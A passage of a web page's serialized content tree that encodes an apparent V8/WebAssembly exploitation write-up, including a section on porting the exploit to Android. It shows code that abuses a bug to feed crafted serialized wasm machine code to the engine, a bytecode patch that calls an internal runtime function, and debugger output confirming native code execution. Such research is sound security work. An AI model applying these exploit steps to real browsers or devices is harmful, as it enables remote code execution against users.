hildren":137647},{"style":160},[137648],{"type":26,"value":1670},{"type":21,"tag":153,"props":137650,"children":137651},{"style":300},[137652],{"type":26,"value":5873},{"type":21,"tag":153,"props":137654,"children":137655},{"style":160},[137656],{"type":26,"value":1670},{"type":21,"tag":153,"props":137658,"children":137659},{"style":300},[137660],{"type":26,"value":137661},"204",{"type":21,"tag":153,"props":137663,"children":137664},{"style":160},[137665],{"type":26,"value":1670},{"type":21,"tag":153,"props":137667,"children":137668},{"style":300},[137669],{"type":26,"value":4515},{"type":21,"tag":153,"props":137671,"children":137672},{"style":160},[137673],{"type":26,"value":1670},{"type":21,"tag":153,"props":137675,"children":137676},{"style":300},[137677],{"type":26,"value":137678},"137",{"type":21,"tag":153,"props":137680,"children":137681},{"style":160},[137682],{"type":26,"value":1670},{"type":21,"tag":153,"props":137684,"children":137685},{"style":300},[137686],{"type":26,"value":137687},"229",{"type":21,"tag":153,"props":137689,"children":137690},{"style":160},[137691],{"type":26,"value":1670},{"type":21,"tag":153,"props":137693,"children":137694},{"style":300},[137695],{"type":26,"value":137696},"106",{"type":21,"tag":153,"props":137698,"children":137699},{"style":160},[137700],{"type":26,"value":1670},{"type":21,"tag":153,"props":137702,"children":137703},{"style":300},[137704],{"type":26,"value":303},{"type":21,"tag":153,"props":137706,"children":137707},{"style":160},[137708],{"type":26,"value":1670},{"type":21,"tag":153,"props":137710,"children":137711},{"style":300},[137712],{"type":26,"value":137713},"86",{"type":21,"tag":153,"props":137715,"children":137716},{"style":160},[137717],{"type":26,"value":1670},{"type":21,"tag":153,"props":137719,"children":137720},{"style":300},[137721],{"type":26,"value":4515},{"type":21,"tag":153,"props":137723,"children":137724},{"style":160},[137725],{"type":26,"value":1670},{"type":21,"tag":153,"props":137727,"children":137728},{"style":300},[137729],{"type":26,"value":137730},"139",{"type":21,"tag":153,"props":137732,"children":137733},{"style":160},[137734],{"type":26,"value":1670},{"type":21,"tag":153,"props":137736,"children":137737},{"style":300},[137738],{"type":26,"value":137687},{"type":21,"tag":153,"props":137740,"children":137741},{"style":160},[137742],{"type":26,"value":1670},{"type":21,"tag":153,"props":137744,"children":137745},{"style":300},[137746],{"type":26,"value":137747},"93",{"type":21,"tag":153,"props":137749,"children":137750},{"style":160},[137751],{"type":26,"value":792},{"type":21,"tag":153,"props":137753,"children":137754},{"class":155,"line":795},[137755,137760,137764,137768,137772,137776,137780,137784,137788,137792,137796,137800,137804,137808,137812,137816,137820,137824,137828,137832,137836,137840,137844,137848,137852,137856,137860,137864,137868,137872,137876,137880,137884,137888,137892,137896,137900,137904,137908,137912,137916,137920,137924,137928,137932,137936,137940,137944,137948,137952,137956,137960,137964,137968,137972,137976,137980,137984,137988,137992],{"type":21,"tag":153,"props":137756,"children":137757},{"style":300},[137758],{"type":26,"value":137759},"    195",{"type":21,"tag":153,"props":137761,"children":137762},{"style":160},[137763],{"type":26,"value":1670},{"type":21,"tag":153,"props":137765,"children":137766},{"style":300},[137767],{"type":26,"value":4035},{"type":21,"tag":153,"props":137769,"children":137770},{"style":160},[137771],{"type":26,"value":1670},{"type":21,"tag":153,"props":137773,"children":137774},{"style":300},[137775],{"type":26,"value":61906},{"type":21,"tag":153,"props":137777,"children":137778},{"style":160},[137779],{"type":26,"value":1670},{"type":21,"tag":153,"props":137781,"children":137782},{"style":300},[137783],{"type":26,"value":98964},{"type":21,"tag":153,"props":137785,"children":137786},{"style":160},[137787],{"type":26,"value":1670},{"type":21,"tag":153,"props":137789,"children":137790},{"style":300},[137791],{"type":26,"value":2996},{"type":21,"tag":153,"props":137793,"children":137794},{"style":160},[137795],{"type":26,"value":1670},{"type":21,"tag":153,"props":137797,"children":137798},{"style":300},[137799],{"type":26,"value":4104},{"type":21,"tag":153,"props":137801,"children":137802},{"style":160},[137803],{"type":26,"value":1670},{"type":21,"tag":153,"props":137805,"children":137806},{"style":300},[137807],{"type":26,"value":2996},{"type":21,"tag":153,"props":137809,"children":137810},{"style":160},[137811],{"type":26,"value":1670},{"type":21,"tag":153,"props":137813,"children":137814},{"style":300},[137815],{"type":26,"value":2996},{"type":21,"tag":153,"props":137817,"children":137818},{"style":160},[137819],{"type":26,"value":1670},{"type":21,"tag":153,"props":137821,"children":137822},{"style":300},[137823],{"type":26,"value":2996},{"type":21,"tag":153,"props":137825,"children":137826},{"style":160},[137827],{"type":26,"value":1670},{"type":21,"tag":153,"props":137829,"children":137830},{"style":300},[137831],{"type":26,"value":2996},{"type":21,"tag":153,"props":137833,"children":137834},{"style":160},[137835],{"type":26,"value":1670},{"type":21,"tag":153,"props":137837,"children":137838},{"style":300},[137839],{"type":26,"value":2996},{"type":21,"tag":153,"props":137841,"children":137842},{"style":160},[137843],{"type":26,"value":1670},{"type":21,"tag":153,"props":137845,"children":137846},{"style":300},[137847],{"type":26,"value":2996},{"type":21,"tag":153,"props":137849,"children":137850},{"style":160},[137851],{"type":26,"value":1670},{"type":21,"tag":153,"props":137853,"children":137854},{"style":300},[137855],{"type":26,"value":2996},{"type":21,"tag":153,"props":137857,"children":137858},{"style":160},[137859],{"type":26,"value":1670},{"type":21,"tag":153,"props":137861,"children":137862},{"style":300},[137863],{"type":26,"value":2996},{"type":21,"tag":153,"props":137865,"children":137866},{"style":160},[137867],{"type":26,"value":1670},{"type":21,"tag":153,"props":137869,"children":137870},{"style":300},[137871],{"type":26,"value":4104},{"type":21,"tag":153,"props":137873,"children":137874},{"style":160},[137875],{"type":26,"value":1670},{"type":21,"tag":153,"props":137877,"children":137878},{"style":300},[137879],{"type":26,"value":2996},{"type":21,"tag":153,"props":137881,"children":137882},{"style":160},[137883],{"type":26,"value":1670},{"type":21,"tag":153,"props":137885,"children":137886},{"style":300},[137887],{"type":26,"value":2996},{"type":21,"tag":153,"props":137889,"children":137890},{"style":160},[137891],{"type":26,"value":1670},{"type":21,"tag":153,"props":137893,"children":137894},{"style":300},[137895],{"type":26,"value":2996},{"type":21,"tag":153,"props":137897,"children":137898},{"style":160},[137899],{"type":26,"value":1670},{"type":21,"tag":153,"props":137901,"children":137902},{"style":300},[137903],{"type":26,"value":2996},{"type":21,"tag":153,"props":137905,"children":137906},{"style":160},[137907],{"type":26,"value":1670},{"type":21,"tag":153,"props":137909,"children":137910},{"style":300},[137911],{"type":26,"value":2996},{"type":21,"tag":153,"props":137913,"children":137914},{"style":160},[137915],{"type":26,"value":1670},{"type":21,"tag":153,"props":137917,"children":137918},{"style":300},[137919],{"type":26,"value":2996},{"type":21,"tag":153,"props":137921,"children":137922},{"style":160},[137923],{"type":26,"value":1670},{"type":21,"tag":153,"props":137925,"children":137926},{"style":300},[137927],{"type":26,"value":2996},{"type":21,"tag":153,"props":137929,"children":137930},{"style":160},[137931],{"type":26,"value":1670},{"type":21,"tag":153,"props":137933,"children":137934},{"style":300},[137935],{"type":26,"value":2996},{"type":21,"tag":153,"props":137937,"children":137938},{"style":160},[137939],{"type":26,"value":1670},{"type":21,"tag":153,"props":137941,"children":137942},{"style":300},[137943],{"type":26,"value":2996},{"type":21,"tag":153,"props":137945,"children":137946},{"style":160},[137947],{"type":26,"value":1670},{"type":21,"tag":153,"props":137949,"children":137950},{"style":300},[137951],{"type":26,"value":2996},{"type":21,"tag":153,"props":137953,"children":137954},{"style":160},[137955],{"type":26,"value":1670},{"type":21,"tag":153,"props":137957,"children":137958},{"style":300},[137959],{"type":26,"value":2996},{"type":21,"tag":153,"props":137961,"children":137962},{"style":160},[137963],{"type":26,"value":1670},{"type":21,"tag":153,"props":137965,"children":137966},{"style":300},[137967],{"type":26,"value":2996},{"type":21,"tag":153,"props":137969,"children":137970},{"style":160},[137971],{"type":26,"value":1670},{"type":21,"tag":153,"props":137973,"children":137974},{"style":300},[137975],{"type":26,"value":2996},{"type":21,"tag":153,"props":137977,"children":137978},{"style":160},[137979],{"type":26,"value":1670},{"type":21,"tag":153,"props":137981,"children":137982},{"style":300},[137983],{"type":26,"value":2996},{"type":21,"tag":153,"props":137985,"children":137986},{"style":160},[137987],{"type":26,"value":1670},{"type":21,"tag":153,"props":137989,"children":137990},{"style":300},[137991],{"type":26,"value":2996},{"type":21,"tag":153,"props":137993,"children":137994},{"style":160},[137995],{"type":26,"value":792},{"type":21,"tag":153,"props":137997,"children":137998},{"class":155,"line":808},[137999,138003,138007,138011,138015,138019,138023,138027,138031,138035,138039,138043,138047,138051,138055,138059,138063,138067,138071,138075,138079,138083,138087,138091,138095,138099,138103,138107,138111,138115,138119,138123,138127,138131,138135,138139,138143,138147,138151,138155,138159,138163,138167,138171,138175,138179,138183,138187,138191,138195,138199,138204,138208,138212],{"type":21,"tag":153,"props":138000,"children":138001},{"style":300},[138002],{"type":26,"value":136494},{"type":21,"tag":153,"props":138004,"children":138005},{"style":160},[138006],{"type":26,"value":1670},{"type":21,"tag":153,"props":138008,"children":138009},{"style":300},[138010],{"type":26,"value":2996},{"type":21,"tag":153,"props":138012,"children":138013},{"style":160},[138014],{"type":26,"value":1670},{"type":21,"tag":153,"props":138016,"children":138017},{"style":300},[138018],{"type":26,"value":2996},{"type":21,"tag":153,"props":138020,"children":138021},{"style":160},[138022],{"type":26,"value":1670},{"type":21,"tag":153,"props":138024,"children":138025},{"style":300},[138026],{"type":26,"value":2996},{"type":21,"tag":153,"props":138028,"children":138029},{"style":160},[138030],{"type":26,"value":1670},{"type":21,"tag":153,"props":138032,"children":138033},{"style":300},[138034],{"type":26,"value":2996},{"type":21,"tag":153,"props":138036,"children":138037},{"style":160},[138038],{"type":26,"value":1670},{"type":21,"tag":153,"props":138040,"children":138041},{"style":300},[138042],{"type":26,"value":2996},{"type":21,"tag":153,"props":138044,"children":138045},{"style":160},[138046],{"type":26,"value":1670},{"type":21,"tag":153,"props":138048,"children":138049},{"style":300},[138050],{"type":26,"value":2996},{"type":21,"tag":153,"props":138052,"children":138053},{"style":160},[138054],{"type":26,"value":1670},{"type":21,"tag":153,"props":138056,"children":138057},{"style":300},[138058],{"type":26,"value":2996},{"type":21,"tag":153,"props":138060,"children":138061},{"style":160},[138062],{"type":26,"value":1670},{"type":21,"tag":153,"props":138064,"children":138065},{"style":300},[138066],{"type":26,"value":2996},{"type":21,"tag":153,"props":138068,"children":138069},{"style":160},[138070],{"type":26,"value":1670},{"type":21,"tag":153,"props":138072,"children":138073},{"style":300},[138074],{"type":26,"value":2996},{"type":21,"tag":153,"props":138076,"children":138077},{"style":160},[138078],{"type":26,"value":1670},{"type":21,"tag":153,"props":138080,"children":138081},{"style":300},[138082],{"type":26,"value":2996},{"type":21,"tag":153,"props":138084,"children":138085},{"style":160},[138086],{"type":26,"value":1670},{"type":21,"tag":153,"props":138088,"children":138089},{"style":300},[138090],{"type":26,"value":2996},{"type":21,"tag":153,"props":138092,"children":138093},{"style":160},[138094],{"type":26,"value":1670},{"type":21,"tag":153,"props":138096,"children":138097},{"style":300},[138098],{"type":26,"value":2996},{"type":21,"tag":153,"props":138100,"children":138101},{"style":160},[138102],{"type":26,"value":1670},{"type":21,"tag":153,"props":138104,"children":138105},{"style":300},[138106],{"type":26,"value":2996},{"type":21,"tag":153,"props":138108,"children":138109},{"style":160},[138110],{"type":26,"value":1670},{"type":21,"tag":153,"props":138112,"children":138113},{"style":300},[138114],{"type":26,"value":2996},{"type":21,"tag":153,"props":138116,"children":138117},{"style":160},[138118],{"type":26,"value":1670},{"type":21,"tag":153,"props":138120,"children":138121},{"style":300},[138122],{"type":26,"value":2996},{"type":21,"tag":153,"props":138124,"children":138125},{"style":160},[138126],{"type":26,"value":1670},{"type":21,"tag":153,"props":138128,"children":138129},{"style":300},[138130],{"type":26,"value":2996},{"type":21,"tag":153,"props":138132,"children":138133},{"style":160},[138134],{"type":26,"value":1670},{"type":21,"tag":153,"props":138136,"children":138137},{"style":300},[138138],{"type":26,"value":2996},{"type":21,"tag":153,"props":138140,"children":138141},{"style":160},[138142],{"type":26,"value":1670},{"type":21,"tag":153,"props":138144,"children":138145},{"style":300},[138146],{"type":26,"value":2996},{"type":21,"tag":153,"props":138148,"children":138149},{"style":160},[138150],{"type":26,"value":1670},{"type":21,"tag":153,"props":138152,"children":138153},{"style":300},[138154],{"type":26,"value":2996},{"type":21,"tag":153,"props":138156,"children":138157},{"style":160},[138158],{"type":26,"value":1670},{"type":21,"tag":153,"props":138160,"children":138161},{"style":300},[138162],{"type":26,"value":2996},{"type":21,"tag":153,"props":138164,"children":138165},{"style":160},[138166],{"type":26,"value":1670},{"type":21,"tag":153,"props":138168,"children":138169},{"style":300},[138170],{"type":26,"value":2996},{"type":21,"tag":153,"props":138172,"children":138173},{"style":160},[138174],{"type":26,"value":1670},{"type":21,"tag":153,"props":138176,"children":138177},{"style":300},[138178],{"type":26,"value":2996},{"type":21,"tag":153,"props":138180,"children":138181},{"style":160},[138182],{"type":26,"value":1670},{"type":21,"tag":153,"props":138184,"children":138185},{"style":300},[138186],{"type":26,"value":32117},{"type":21,"tag":153,"props":138188,"children":138189},{"style":160},[138190],{"type":26,"value":1670},{"type":21,"tag":153,"props":138192,"children":138193},{"style":300},[138194],{"type":26,"value":137747},{"type":21,"tag":153,"props":138196,"children":138197},{"style":160},[138198],{"type":26,"value":1670},{"type":21,"tag":153,"props":138200,"children":138201},{"style":300},[138202],{"type":26,"value":138203},"198",{"type":21,"tag":153,"props":138205,"children":138206},{"style":160},[138207],{"type":26,"value":1670},{"type":21,"tag":153,"props":138209,"children":138210},{"style":300},[138211],{"type":26,"value":2996},{"type":21,"tag":153,"props":138213,"children":138214},{"style":160},[138215],{"type":26,"value":792},{"type":21,"tag":153,"props":138217,"children":138218},{"class":155,"line":820},[138219],{"type":21,"tag":153,"props":138220,"children":138221},{"style":160},[138222],{"type":26,"value":136781},{"type":21,"tag":153,"props":138224,"children":138225},{"class":155,"line":842},[138226,138230,138235,138239,138244,138248,138252,138256,138260,138264,138268],{"type":21,"tag":153,"props":138227,"children":138228},{"style":170},[138229],{"type":26,"value":10582},{"type":21,"tag":153,"props":138231,"children":138232},{"style":192},[138233],{"type":26,"value":138234}," r",{"type":21,"tag":153,"props":138236,"children":138237},{"style":198},[138238],{"type":26,"value":255},{"type":21,"tag":153,"props":138240,"children":138241},{"style":181},[138242],{"type":26,"value":138243}," bug",{"type":21,"tag":153,"props":138245,"children":138246},{"style":160},[138247],{"type":26,"value":189},{"type":21,"tag":153,"props":138249,"children":138250},{"style":192},[138251],{"type":26,"value":136112},{"type":21,"tag":153,"props":138253,"children":138254},{"style":160},[138255],{"type":26,"value":1670},{"type":21,"tag":153,"props":138257,"children":138258},{"style":192},[138259],{"type":26,"value":127439},{"type":21,"tag":153,"props":138261,"children":138262},{"style":160},[138263],{"type":26,"value":355},{"type":21,"tag":153,"props":138265,"children":138266},{"style":192},[138267],{"type":26,"value":127439},{"type":21,"tag":153,"props":138269,"children":138270},{"style":160},[138271],{"type":26,"value":530},{"type":21,"tag":153,"props":138273,"children":138274},{"class":155,"line":3204},[138275,138280,138284,138288,138292,138296,138300,138304,138309,138313],{"type":21,"tag":153,"props":138276,"children":138277},{"style":192},[138278],{"type":26,"value":138279},"  result",{"type":21,"tag":153,"props":138281,"children":138282},{"style":198},[138283],{"type":26,"value":255},{"type":21,"tag":153,"props":138285,"children":138286},{"style":160},[138287],{"type":26,"value":5820},{"type":21,"tag":153,"props":138289,"children":138290},{"style":1751},[138291],{"type":26,"value":1754},{"type":21,"tag":153,"props":138293,"children":138294},{"style":192},[138295],{"type":26,"value":138234},{"type":21,"tag":153,"props":138297,"children":138298},{"style":160},[138299],{"type":26,"value":355},{"type":21,"tag":153,"props":138301,"children":138302},{"style":181},[138303],{"type":26,"value":59857},{"type":21,"tag":153,"props":138305,"children":138306},{"style":160},[138307],{"type":26,"value":138308},"()).",{"type":21,"tag":153,"props":138310,"children":138311},{"style":192},[138312],{"type":26,"value":41843},{"type":21,"tag":153,"props":138314,"children":138315},{"style":160},[138316],{"type":26,"value":1759},{"type":21,"tag":153,"props":138318,"children":138319},{"class":155,"line":3230},[138320,138324,138329,138333,138337,138341,138345,138349,138353,138357],{"type":21,"tag":153,"props":138321,"children":138322},{"style":170},[138323],{"type":26,"value":38881},{"type":21,"tag":153,"props":138325,"children":138326},{"style":192},[138327],{"type":26,"value":138328}," wasm_instance",{"type":21,"tag":153,"props":138330,"children":138331},{"style":198},[138332],{"type":26,"value":255},{"type":21,"tag":153,"props":138334,"children":138335},{"style":170},[138336],{"type":26,"value":34627},{"type":21,"tag":153,"props":138338,"children":138339},{"style":192},[138340],{"type":26,"value":136095},{"type":21,"tag":153,"props":138342,"children":138343},{"style":160},[138344],{"type":26,"value":355},{"type":21,"tag":153,"props":138346,"children":138347},{"style":181},[138348],{"type":26,"value":136149},{"type":21,"tag":153,"props":138350,"children":138351},{"style":160},[138352],{"type":26,"value":189},{"type":21,"tag":153,"props":138354,"children":138355},{"style":192},[138356],{"type":26,"value":11806},{"type":21,"tag":153,"props":138358,"children":138359},{"style":160},[138360],{"type":26,"value":530},{"type":21,"tag":153,"props":138362,"children":138363},{"class":155,"line":3239},[138364,138368,138372,138376,138380,138384,138388,138392,138396],{"type":21,"tag":153,"props":138365,"children":138366},{"style":170},[138367],{"type":26,"value":38881},{"type":21,"tag":153,"props":138369,"children":138370},{"style":192},[138371],{"type":26,"value":35664},{"type":21,"tag":153,"props":138373,"children":138374},{"style":198},[138375],{"type":26,"value":255},{"type":21,"tag":153,"props":138377,"children":138378},{"style":192},[138379],{"type":26,"value":138328},{"type":21,"tag":153,"props":138381,"children":138382},{"style":160},[138383],{"type":26,"value":355},{"type":21,"tag":153,"props":138385,"children":138386},{"style":192},[138387],{"type":26,"value":40579},{"type":21,"tag":153,"props":138389,"children":138390},{"style":160},[138391],{"type":26,"value":355},{"type":21,"tag":153,"props":138393,"children":138394},{"style":192},[138395],{"type":26,"value":136198},{"type":21,"tag":153,"props":138397,"children":138398},{"style":160},[138399],{"type":26,"value":1759},{"type":21,"tag":153,"props":138401,"children":138402},{"class":155,"line":3253},[138403,138408],{"type":21,"tag":153,"props":138404,"children":138405},{"style":181},[138406],{"type":26,"value":138407},"  f",{"type":21,"tag":153,"props":138409,"children":138410},{"style":160},[138411],{"type":26,"value":839},{"type":21,"tag":153,"props":138413,"children":138414},{"class":155,"line":3301},[138415],{"type":21,"tag":153,"props":138416,"children":138417},{"style":160},[138418],{"type":26,"value":104282},{"type":21,"tag":22,"props":138420,"children":138421},{},[138422],{"type":26,"value":138423},"Running this in a debugger shows the expected breakpoint:",{"type":21,"tag":143,"props":138425,"children":138427},{"code":138426},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[138428],{"type":21,"tag":78,"props":138429,"children":138430},{"__ignoreMap":7},[138431],{"type":26,"value":138426},{"type":21,"tag":114,"props":138433,"children":138435},{"id":138434},"porting-to-android",[138436],{"type":26,"value":138437},"Porting to Android",{"type":21,"tag":22,"props":138439,"children":138440},{},[138441,138443,138448,138450,138455,138457,138462,138464,138470],{"type":26,"value":138442},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":21,"tag":78,"props":138444,"children":138446},{"className":138445},[],[138447],{"type":26,"value":135227},{"type":26,"value":138449}," fails. We cross-compiled ",{"type":21,"tag":78,"props":138451,"children":138453},{"className":138452},[],[138454],{"type":26,"value":134386},{"type":26,"value":138456}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":21,"tag":78,"props":138458,"children":138460},{"className":138459},[],[138461],{"type":26,"value":135227},{"type":26,"value":138463}," returned ",{"type":21,"tag":78,"props":138465,"children":138467},{"className":138466},[],[138468],{"type":26,"value":138469},"undefined",{"type":26,"value":355},{"type":21,"tag":22,"props":138472,"children":138473},{},[138474,138476,138481,138483,138488],{"type":26,"value":138475},"Instead, we modified the bytecode to call ",{"type":21,"tag":78,"props":138477,"children":138479},{"className":138478},[],[138480],{"type":26,"value":135253},{"type":26,"value":138482}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":21,"tag":78,"props":138484,"children":138486},{"className":138485},[],[138487],{"type":26,"value":135227},{"type":26,"value":355},{"type":21,"tag":143,"props":138490,"children":138492},{"code":138491,"language":38309,"meta":7,"className":38307,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[138493],{"type":21,"tag":78,"props":138494,"children":138495},{"__ignoreMap":7},[138496,138507,138551,138571,138587,138610,138637,138652],{"type":21,"tag":153,"props":138497,"children":138498},{"class":155,"line":156},[138499,138503],{"type":21,"tag":153,"props":138500,"children":138501},{"style":1751},[138502],{"type":26,"value":50621},{"type":21,"tag":153,"props":138504,"children":138505},{"style":160},[138506],{"type":26,"value":236},{"type":21,"tag":153,"props":138508,"children":138509},{"class":155,"line":166},[138510,138514,138518,138522,138526,138530,138534,138539,138543,138547],{"type":21,"tag":153,"props":138511,"children":138512},{"style":192},[138513],{"type":26,"value":135494},{"type":21,"tag":153,"props":138515,"children":138516},{"style":160},[138517],{"type":26,"value":78915},{"type":21,"tag":153,"props":138519,"children":138520},{"style":671},[138521],{"type":26,"value":135503},{"type":21,"tag":153,"props":138523,"children":138524},{"style":160},[138525],{"type":26,"value":355},{"type":21,"tag":153,"props":138527,"children":138528},{"style":181},[138529],{"type":26,"value":135512},{"type":21,"tag":153,"props":138531,"children":138532},{"style":160},[138533],{"type":26,"value":189},{"type":21,"tag":153,"props":138535,"children":138536},{"style":300},[138537],{"type":26,"value":138538},"0x059301",{"type":21,"tag":153,"props":138540,"children":138541},{"style":198},[138542],{"type":26,"value":53546},{"type":21,"tag":153,"props":138544,"children":138545},{"style":300},[138546],{"type":26,"value":7253},{"type":21,"tag":153,"props":138548,"children":138549},{"style":160},[138550],{"type":26,"value":135534},{"type":21,"tag":153,"props":138552,"children":138553},{"class":155,"line":225},[138554,138558,138562,138567],{"type":21,"tag":153,"props":138555,"children":138556},{"style":192},[138557],{"type":26,"value":135542},{"type":21,"tag":153,"props":138559,"children":138560},{"style":198},[138561],{"type":26,"value":5527},{"type":21,"tag":153,"props":138563,"children":138564},{"style":300},[138565],{"type":26,"value":138566}," 0x03027a6c",{"type":21,"tag":153,"props":138568,"children":138569},{"style":160},[138570],{"type":26,"value":1759},{"type":21,"tag":153,"props":138572,"children":138573},{"class":155,"line":239},[138574,138578,138583],{"type":21,"tag":153,"props":138575,"children":138576},{"style":1751},[138577],{"type":26,"value":37895},{"type":21,"tag":153,"props":138579,"children":138580},{"style":300},[138581],{"type":26,"value":138582}," 0x393e71a",{"type":21,"tag":153,"props":138584,"children":138585},{"style":160},[138586],{"type":26,"value":1759},{"type":21,"tag":153,"props":138588,"children":138589},{"class":155,"line":382},[138590,138594,138598,138602,138606],{"type":21,"tag":153,"props":138591,"children":138592},{"style":160},[138593],{"type":26,"value":49163},{"type":21,"tag":153,"props":138595,"children":138596},{"style":1751},[138597],{"type":26,"value":50701},{"type":21,"tag":153,"props":138599,"children":138600},{"style":160},[138601],{"type":26,"value":5820},{"type":21,"tag":153,"props":138603,"children":138604},{"style":192},[138605],{"type":26,"value":53745},{"type":21,"tag":153,"props":138607,"children":138608},{"style":160},[138609],{"type":26,"value":2659},{"type":21,"tag":153,"props":138611,"children":138612},{"class":155,"line":501},[138613,138617,138621,138625,138629,138633],{"type":21,"tag":153,"props":138614,"children":138615},{"style":192},[138616],{"type":26,"value":104241},{"type":21,"tag":153,"props":138618,"children":138619},{"style":160},[138620],{"type":26,"value":355},{"type":21,"tag":153,"props":138622,"children":138623},{"style":181},[138624],{"type":26,"value":104250},{"type":21,"tag":153,"props":138626,"children":138627},{"style":160},[138628],{"type":26,"value":189},{"type":21,"tag":153,"props":138630,"children":138631},{"style":671},[138632],{"type":26,"value":135618},{"type":21,"tag":153,"props":138634,"children":138635},{"style":160},[138636],{"type":26,"value":530},{"type":21,"tag":153,"props":138638,"children":138639},{"class":155,"line":533},[138640,138644,138648],{"type":21,"tag":153,"props":138641,"children":138642},{"style":1751},[138643],{"type":26,"value":135630},{"type":21,"tag":153,"props":138645,"children":138646},{"style":192},[138647],{"type":26,"value":135635},{"type":21,"tag":153,"props":138649,"children":138650},{"style":160},[138651],{"type":26,"value":1759},{"type":21,"tag":153,"props":138653,"children":138654},{"class":155,"line":542},[138655],{"type":21,"tag":153,"props":138656,"children":138657},{"style":160},[138658],{"type":26,"value":548},{"type":21,"tag":22,"props":138660,"children":138661},{},[138662,138664,138670,138672,138678,138680,138686,138688,138693,138695,138701,138703,138708,138709,138715],{"type":26,"value":138663},"Here, ",{"type":21,"tag":78,"props":138665,"children":138667},{"className":138666},[],[138668],{"type":26,"value":138669},"a1 + 0x03027a6c",{"type":26,"value":138671}," generates the bytes ",{"type":21,"tag":78,"props":138673,"children":138675},{"className":138674},[],[138676],{"type":26,"value":138677},"01 4b 6c 7a 02 03",{"type":26,"value":138679},", where ",{"type":21,"tag":78,"props":138681,"children":138683},{"className":138682},[],[138684],{"type":26,"value":138685},"0x6c",{"type":26,"value":138687}," is the ",{"type":21,"tag":78,"props":138689,"children":138691},{"className":138690},[],[138692],{"type":26,"value":135211},{"type":26,"value":138694}," opcode, ",{"type":21,"tag":78,"props":138696,"children":138698},{"className":138697},[],[138699],{"type":26,"value":138700},"0x027a",{"type":26,"value":138702}," is the function ID of ",{"type":21,"tag":78,"props":138704,"children":138706},{"className":138705},[],[138707],{"type":26,"value":135253},{"type":26,"value":9217},{"type":21,"tag":78,"props":138710,"children":138712},{"className":138711},[],[138713],{"type":26,"value":138714},"0x03",{"type":26,"value":138716}," is the register index holding its first argument.",{"type":21,"tag":22,"props":138718,"children":138719},{},[138720,138722,138727,138728,138733,138735,138740],{"type":26,"value":138721},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":21,"tag":78,"props":138723,"children":138725},{"className":138724},[],[138726],{"type":26,"value":135253},{"type":26,"value":52},{"type":21,"tag":78,"props":138729,"children":138731},{"className":138730},[],[138732],{"type":26,"value":136221},{"type":26,"value":138734},". To avoid patching the bytecode again to invoke ",{"type":21,"tag":78,"props":138736,"children":138738},{"className":138737},[],[138739],{"type":26,"value":136221},{"type":26,"value":138741},", we can force Turbofan to compile the target function like this:",{"type":21,"tag":143,"props":138743,"children":138745},{"code":138744,"language":38309,"meta":7,"className":38307,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[138746],{"type":21,"tag":78,"props":138747,"children":138748},{"__ignoreMap":7},[138749,138757,138817,138829],{"type":21,"tag":153,"props":138750,"children":138751},{"class":155,"line":156},[138752],{"type":21,"tag":153,"props":138753,"children":138754},{"style":3050},[138755],{"type":26,"value":138756},"// %WasmTierUpFunction(func);\n",{"type":21,"tag":153,"props":138758,"children":138759},{"class":155,"line":166},[138760,138764,138768,138772,138776,138780,138784,138788,138792,138796,138801,138805,138809,138813],{"type":21,"tag":153,"props":138761,"children":138762},{"style":1751},[138763],{"type":26,"value":6138},{"type":21,"tag":153,"props":138765,"children":138766},{"style":160},[138767],{"type":26,"value":5820},{"type":21,"tag":153,"props":138769,"children":138770},{"style":170},[138771],{"type":26,"value":1555},{"type":21,"tag":153,"props":138773,"children":138774},{"style":192},[138775],{"type":26,"value":6143},{"type":21,"tag":153,"props":138777,"children":138778},{"style":198},[138779],{"type":26,"value":255},{"type":21,"tag":153,"props":138781,"children":138782},{"style":300},[138783],{"type":26,"value":5799},{"type":21,"tag":153,"props":138785,"children":138786},{"style":160},[138787],{"type":26,"value":297},{"type":21,"tag":153,"props":138789,"children":138790},{"style":192},[138791],{"type":26,"value":6471},{"type":21,"tag":153,"props":138793,"children":138794},{"style":198},[138795],{"type":26,"value":4094},{"type":21,"tag":153,"props":138797,"children":138798},{"style":300},[138799],{"type":26,"value":138800}," 0x100000",{"type":21,"tag":153,"props":138802,"children":138803},{"style":160},[138804],{"type":26,"value":297},{"type":21,"tag":153,"props":138806,"children":138807},{"style":192},[138808],{"type":26,"value":6471},{"type":21,"tag":153,"props":138810,"children":138811},{"style":198},[138812],{"type":26,"value":53560},{"type":21,"tag":153,"props":138814,"children":138815},{"style":160},[138816],{"type":26,"value":2659},{"type":21,"tag":153,"props":138818,"children":138819},{"class":155,"line":225},[138820,138825],{"type":21,"tag":153,"props":138821,"children":138822},{"style":181},[138823],{"type":26,"value":138824},"  func",{"type":21,"tag":153,"props":138826,"children":138827},{"style":160},[138828],{"type":26,"value":839},{"type":21,"tag":153,"props":138830,"children":138831},{"class":155,"line":239},[138832],{"type":21,"tag":153,"props":138833,"children":138834},{"style":160},[138835],{"type":26,"value":548},{"type":21,"tag":22,"props":138837,"children":138838},{},[138839],{"type":26,"value":138840},"Finally, running this code on the device:",{"type":21,"tag":143,"props":138842,"children":138844},{"code":138843,"language":38309,"meta":7,"className":38307,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  